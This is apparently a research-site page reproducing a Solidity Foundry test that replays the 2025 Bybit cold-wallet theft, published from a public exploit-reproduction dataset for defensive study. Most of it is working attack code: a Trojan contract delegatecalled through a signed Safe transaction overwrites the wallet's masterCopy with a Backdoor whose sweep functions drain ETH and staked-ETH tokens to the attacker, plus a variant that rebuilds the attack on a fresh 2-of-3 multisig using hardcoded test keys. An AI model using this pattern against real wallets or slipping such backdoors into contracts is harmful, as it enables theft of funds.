Public reproduction file
src/test/2025-02/Bybit_exp.sol
Public reproduction file for dataset entry Bybit.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import {IERC20} from "../interface.sol";7// @KeyInfo - Total Lost : 1.5B (401346 ETH + 8000 mETH + 15000 cmETH + 90375 stETH)8// Attacker : https://etherscan.io/address/0x0fa09c3a328792253f8dee7116848723b72a6d2e9// Attack Contract (Trojan): https://etherscan.io/address/0x96221423681a6d52e184d440a8efcebb105c724210// Attack Contract (Backdoor): https://etherscan.io/address/0xbdd077f651ebe7f7b3ce16fe5f2b025be296951611// Vulnerable Contract (Bybit Cold Wallet): https://etherscan.io/address/0x1db92e2eebc8e0c075a02bea49a2935bcd2dfcf412// Attack Tx (Change masterCopy): https://etherscan.io/tx/0x46deef0f52e3a983b67abf4714448a41dd7ffd6d32d32da69d62081c68ad788213// Attack Tx (ETH): https://etherscan.io/tx/0xb61413c495fdad6114a7aa863a00b2e3c28945979a10885b12b30316ea9f072c14// Attack Tx (mETH): https://etherscan.io/tx/0xbcf316f5835362b7f1586215173cc8b294f5499c60c029a3de6318bf25ca7b2015// Attack Tx (cmETH): https://etherscan.io/tx/0x847b8403e8a4816a4de1e63db321705cdb6f998fb01ab58f653b863fda98864716// Attack Tx (stETH): https://etherscan.io/tx/0xa284a1bc4c7e0379c924c73fcea1067068635507254b03ebbbd3f4e222c1fae018// @Info19// Vulnerable Contract Code (Proxy): https://etherscan.io/address/0x1db92e2eebc8e0c075a02bea49a2935bcd2dfcf4#code20// Vulnerable Contract Code (Implementation): https://etherscan.io/address/0x34cfac646f301356faa8b21e94227e3583fe3f5f#code22// @Analysis23// Post-mortem : https://x.com/zachxbt/status/189321157783630236524// Twitter Guy : https://x.com/SlowMist_Team/status/189296325038559234525// Hacking God : https://x.com/PatrickAlphaC/status/189321530413561875927contract Enum {28 enum Operation {29 Call,30 DelegateCall31 }32}34interface IMultisigWallet {35 function getTransactionHash(36 address to,37 uint256 value,38 bytes memory data,39 Enum.Operation operation,40 uint256 safeTxGas,41 uint256 baseGas,42 uint256 gasPrice,43 address gasToken,44 address refundReceiver,45 uint256 _nonce46 ) external view returns (bytes32);48 function execTransaction(49 address to,50 uint256 value,51 bytes calldata data,52 Enum.Operation operation,53 uint256 safeTxGas,54 uint256 baseGas,55 uint256 gasPrice,56 address gasToken,57 address payable refundReceiver,58 bytes calldata signatures59 ) external;61 function nonce() external view returns (uint256);62}64interface IBackdoorContract {65 function sweepETH(address destination) external;66 function sweepERC20(address token, address destination) external;67}69interface IProxyFactory {70 function createProxyWithNonce(71 address masterCopy,72 bytes memory initializer,73 uint256 saltNonce74 ) external returns (address proxy);75}77contract Bybit is BaseTestWithBalanceLog {78 // Poc79 address public safeProxyFactory1_1_1 = 0x76E2cFc1F5Fa8F6a5b3fC4c8F4788F0116861F9B;80 address public safeMasterCopy1_1_1 = 0x34CfAC646f301356fAa8B21e94227e3583Fe3F5F;81 address public safeDefaultFallbackHandler1_1_1 = 0xd5D82B6aDDc9027B22dCA772Aa68D5d74cdBdF44;83 address public multisigOwner1 = 0x6cd5327027190eF45476D80B5D3BdE2E80f6aCbC;84 address public multisigOwner2 = 0xe6A99c3869D6D0691CCe23E83b571A471Bac661D;85 address public multisigOwner3 = 0x72F42564BE83B755720dBadC875cc919046A1856;87 uint256 privateKey1 = 0x481823978ae08ec5f1793cd753c16f7887b56ae123dca7a4e799ffa6cd432a1e;88 uint256 privateKey2 = 0x43cd2551585bcf96b2bc6ba97afcc2e0f3405b78c420a03b3d7a0f7fab5de249;89 uint256 privateKey3 = 0x62ef4b669bbf0d728b538d790d995aeae4fda9503fdc275bda21bd07b9614fb6;91 Trojan trojan;92 Backdoor backdoor;93 address public multisigWallet;95 // Real Exploit96 address public bybitColdWallet1 = 0x1Db92e2EeBC8E0c075a02BeA49a2935BcD2dFCF4;97 address public attacker = 0x0fa09C3A328792253f8dee7116848723b72a6d2e;98 address public trojanContract = 0x96221423681A6d52E184D440a8eFCEbB105C7242;99 address public backdoorContract = 0xbDd077f651EBe7f7b3cE16fe5F2b025BE2969516;101 address public mETH = 0xd5F7838F5C461fefF7FE49ea5ebaF7728bB0ADfa; // Mantle Staked Ether102 address public cmETH = 0xE6829d9a7eE3040e1276Fa75293Bde931859e8fA; // Mantle Restaked Ether103 address public stETH = 0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84; // Lido Staked ETH105 bytes public signature =106 hex"d0afef78a52fd504479dc2af3dc401334762cbd05609c7ac18db9ec5abf4a07a5cc09fc86efd3489707b89b0c729faed616459189cb50084f208d03b201b001f1f0f62ad358d6b319d3c1221d44456080068fe02ae5b1a39b4afb1e6721ca7f9903ac523a801533f265231cd35fc2dfddc3bd9a9563b51315cf9d5ff23dc6d2c221fdf9e4b878877a8dbeee951a4a31ddbf1d3b71e127d5eda44b4730030114baba52e06dd23da37cd2a07a6e84f9950db867374a0f77558f42adf4409bfd569673c1f";108 uint256 blocknumToForkFrom = 21_895_238 - 1;110 function setUp() public {111 vm.createSelectFork("mainnet", blocknumToForkFrom);113 // Poc114 vm.label(address(safeProxyFactory1_1_1), "Safe proxy factory");115 vm.label(address(safeMasterCopy1_1_1), "Safe master copy");116 vm.label(address(safeDefaultFallbackHandler1_1_1), "Safe default fallback handler");117 vm.label(address(multisigOwner1), "Multisig owner 1");118 vm.label(address(multisigOwner2), "Multisig owner 2");119 vm.label(address(multisigOwner3), "Multisig owner 3");120 // Real Exploit121 vm.label(address(bybitColdWallet1), "Bybit cold wallet 1");122 vm.label(address(trojanContract), "Trojan contract");123 vm.label(address(backdoorContract), "Backdoor contract");124 vm.label(address(attacker), "Attacker");125 vm.label(address(mETH), "Mantle Staked Ether");126 vm.label(address(cmETH), "Mantle Restaked Ether");127 vm.label(address(stETH), "Lido Staked ETH");128 }130 function testExploit() public {131 console.log("Real exploit start......");132 // Print slot 0 of bybit cold wallet 1133 // slot 0 stores masterCopy(address)134 console.log(135 "Before attack, Bybit cold wallet 1 masterCopy:",136 address(uint160(uint256(vm.load(bybitColdWallet1, bytes32(uint256(0))))))137 );138 // 0x34CfAC646f301356fAa8B21e94227e3583Fe3F5F140 // Change bybit cold wallet 1 masterCopy to backdoorContract141 changeMasterCopy(bybitColdWallet1, address(trojanContract), address(backdoorContract), signature);143 // Bybit cold wallet's masterCopy is changed to backdoorContract144 console.log(145 "After attack, Bybit cold wallet 1 masterCopy:",146 address(uint160(uint256(vm.load(bybitColdWallet1, bytes32(uint256(0))))))147 );149 stealMoney();150 }152 function testFakeExploit() public {153 console.log("Fake exploit start......");154 trojan = new Trojan();155 backdoor = new Backdoor();157 multisigWallet = createMultisigWallet(); // I use 3 owners for example (threshold = 2)158 // Get transaction hash of changing masterCopy159 bytes32 transactionHash = getTransactionHash(160 address(trojan),161 abi.encodeWithSelector(Trojan.transfer.selector, address(backdoor), 0),162 Enum.Operation.DelegateCall163 );165 // Sign the transaction hash166 bytes memory fakeSignature = signTransaction(transactionHash);168 console.log(169 "Before attack, multisigWallet masterCopy:",170 address(uint160(uint256(vm.load(multisigWallet, bytes32(uint256(0))))))171 );173 // Change masterCopy to attacker's contract(backdoor)174 changeMasterCopy(multisigWallet, address(trojan), address(backdoor), fakeSignature);176 console.log(177 "After attack, multisigWallet masterCopy:",178 address(uint160(uint256(vm.load(multisigWallet, bytes32(uint256(0))))))179 );181 // I only demonstrate the attack on ETH182 vm.deal(multisigWallet, 400_000 ether);183 vm.deal(address(this), 0 ether);184 IBackdoorContract(multisigWallet).sweepETH(address(this));185 console.log("After attack, multisigWallet balance left:", address(multisigWallet).balance / 1 ether, "ETH");186 console.log("Attacker earned balance:", address(this).balance / 1 ether, "ETH");187 }189 function changeMasterCopy(address multisigWallet, address trojan, address backdoor, bytes memory signature) public {190 IMultisigWallet(multisigWallet).execTransaction(191 trojan,192 0,193 abi.encodeWithSignature("transfer(address,uint256)", backdoor, 0),194 Enum.Operation.DelegateCall,195 45_746,196 0,197 0,198 address(0),199 payable(address(0)),200 signature201 );202 }204 function stealMoney() public {205 // Only hacker can call these functions206 vm.startPrank(attacker);207 // Sweep ETH208 sweepETH(attacker);209 console.log("Attacker ETH Balance After exploit:", address(attacker).balance / 1 ether, "ETH");211 // Sweep ERC20212 sweepERC20(mETH, attacker);213 console.log("Attacker mETH Balance After exploit:", IERC20(mETH).balanceOf(attacker) / 1 ether, "ETH");214 sweepERC20(cmETH, attacker);215 console.log("Attacker cmETH Balance After exploit:", IERC20(cmETH).balanceOf(attacker) / 1 ether, "ETH");216 sweepERC20(stETH, attacker);217 console.log("Attacker stETH Balance After exploit:", IERC20(stETH).balanceOf(attacker) / 1 ether, "ETH");218 vm.stopPrank();219 }221 function sweepETH(address destination) public {222 IBackdoorContract(bybitColdWallet1).sweepETH(destination);223 }225 function sweepERC20(address token, address destination) public {226 IBackdoorContract(bybitColdWallet1).sweepERC20(token, destination);227 }229 function createMultisigWallet() public returns (address) {230 address[] memory owners = new address[](3);231 owners[0] = multisigOwner1;232 owners[1] = multisigOwner2;233 owners[2] = multisigOwner3;235 uint256 threshold = 2;237 bytes memory initializer = abi.encodeWithSignature(238 "setup(address[],uint256,address,bytes,address,address,uint256,address)",239 owners, // List of Safe owners240 threshold, // Confirmation threshold241 address(0), // 'to' address: no additional delegate call after setup242 "", // Empty data payload (no extra call data)243 safeDefaultFallbackHandler1_1_1, // Fallback handler for the Safe244 address(0), // Payment token (address(0) indicates ETH)245 0, // Payment amount (0 if not used)246 address(0) // Payment receiver (not used in this case)247 );248 // Create a multisig wallet249 multisigWallet = IProxyFactory(safeProxyFactory1_1_1).createProxyWithNonce(250 safeMasterCopy1_1_1,251 initializer,252 block.timestamp253 );255 return multisigWallet;256 }258 function getTransactionHash(address to, bytes memory data, Enum.Operation operation) public returns (bytes32) {259 bytes32 transactionHash = IMultisigWallet(multisigWallet).getTransactionHash(260 to,261 0,262 data,263 operation,264 45_746,265 0,266 0,267 address(0),268 payable(address(0)),269 IMultisigWallet(multisigWallet).nonce()270 );271 return transactionHash;272 }274 function signTransaction(bytes32 transactionHash) public returns (bytes memory) {275 (uint8 v1, bytes32 r1, bytes32 s1) = vm.sign(privateKey1, transactionHash);276 (uint8 v2, bytes32 r2, bytes32 s2) = vm.sign(privateKey2, transactionHash);278 bytes memory sig1 = abi.encodePacked(r1, s1, v1);279 bytes memory sig2 = abi.encodePacked(r2, s2, v2);280 return abi.encodePacked(sig1, sig2);281 }283 fallback() external payable {}284}286contract Trojan {287 address public masterCopy;289 constructor() {}291 function transfer(address to, uint256 amount) public {292 masterCopy = to; // Store the address of the backdoor contract in slot 0293 }294}296contract Backdoor {297 constructor() {}299 function sweepETH(address destination) public {300 (bool success, ) = destination.call{value: address(this).balance}("");301 require(success, "Failed to sweep ETH");302 }304 function sweepERC20(address token, address destination) public {305 IERC20(token).transfer(destination, IERC20(token).balanceOf(address(this)));306 }307}Analysis
Dataset entry
Public Foundry test for “Bybit” (2025-02-21). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
15 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-02/FourMeme_exp.solSame month in the dataset · 245 lines
- src/test/2025-02/GMT7_exp.solSame month in the dataset · 86 lines
- src/test/2025-02/GoldReserve_exp.solSame month in the dataset · 136 lines
- src/test/2025-02/HegicOptions_exp.solSame month in the dataset · 70 lines
- src/test/2025-02/HenloKart_exp.solSame month in the dataset · 80 lines
- src/test/2025-02/INVISTECH_exp.solSame month in the dataset · 137 lines
- src/test/2025-02/LimitOrderProtocol_exp.solSame month in the dataset · 71 lines
- src/test/2025-02/PeapodsFinance_exp.solSame month in the dataset · 104 lines
- src/test/2025-02/Scorch_exp.solSame month in the dataset · 115 lines
- src/test/2025-02/StepHeroNFTs_exp.solSame month in the dataset · 111 lines
- src/test/2025-02/unverified_35bc_exp.solSame month in the dataset · 91 lines
- src/test/2025-02/unverified_d4f1_exp.solSame month in the dataset · 57 lines
- src/test/2025-02/Venus_ZKSync_exp.solSame month in the dataset · 221 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x0fa09c3a328792253f8dee7116848723b72a6d2e
- Attack Contract
0x96221423681a6d52e184d440a8efcebb105c7242
- Attack Contract
0xbdd077f651ebe7f7b3ce16fe5f2b025be2969516
- Vulnerable Contract
0x1db92e2eebc8e0c075a02bea49a2935bcd2dfcf4
- Vulnerable Contract
0x34cfac646f301356faa8b21e94227e3583fe3f5f
- Attack Tx
0x46deef0f52e3a983b67abf4714448a41dd7ffd6d32d32da69d62081c68ad7882
- Attack Tx
0xb61413c495fdad6114a7aa863a00b2e3c28945979a10885b12b30316ea9f072c
- Attack Tx
0xbcf316f5835362b7f1586215173cc8b294f5499c60c029a3de6318bf25ca7b20
- Attack Tx
0x847b8403e8a4816a4de1e63db321705cdb6f998fb01ab58f653b863fda988647
- Attack Tx
0xa284a1bc4c7e0379c924c73fcea1067068635507254b03ebbbd3f4e222c1fae0
- Post: https://x.com/zachxbt/status/1893211577836302365
- Twitter: https://x.com/SlowMist_Team/status/1892963250385592345
- Explorer: https://etherscan.io/address/0x0fa09c3a328792253f8dee7116848723b72a6d2e
- Explorer: https://etherscan.io/address/0x96221423681a6d52e184d440a8efcebb105c7242
- Explorer: https://etherscan.io/address/0xbdd077f651ebe7f7b3ce16fe5f2b025be2969516
- Explorer: https://etherscan.io/address/0x1db92e2eebc8e0c075a02bea49a2935bcd2dfcf4
- Explorer: https://etherscan.io/address/0x1db92e2eebc8e0c075a02bea49a2935bcd2dfcf4#code
- Explorer: https://etherscan.io/address/0x34cfac646f301356faa8b21e94227e3583fe3f5f#code
- Reference: https://x.com/PatrickAlphaC/status/1893215304135618759
File record
- Name
- Bybit
- Path
- src/test/2025-02/Bybit_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 03e2d0ffcf344154813d74860276e90ff00758c7
- Language
- Solidity
- Size
- 308 lines
- Date
- 2025-02-21
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-02/Bybit_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 03e2d0ffcf344154813d74860276e90ff00758c7, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.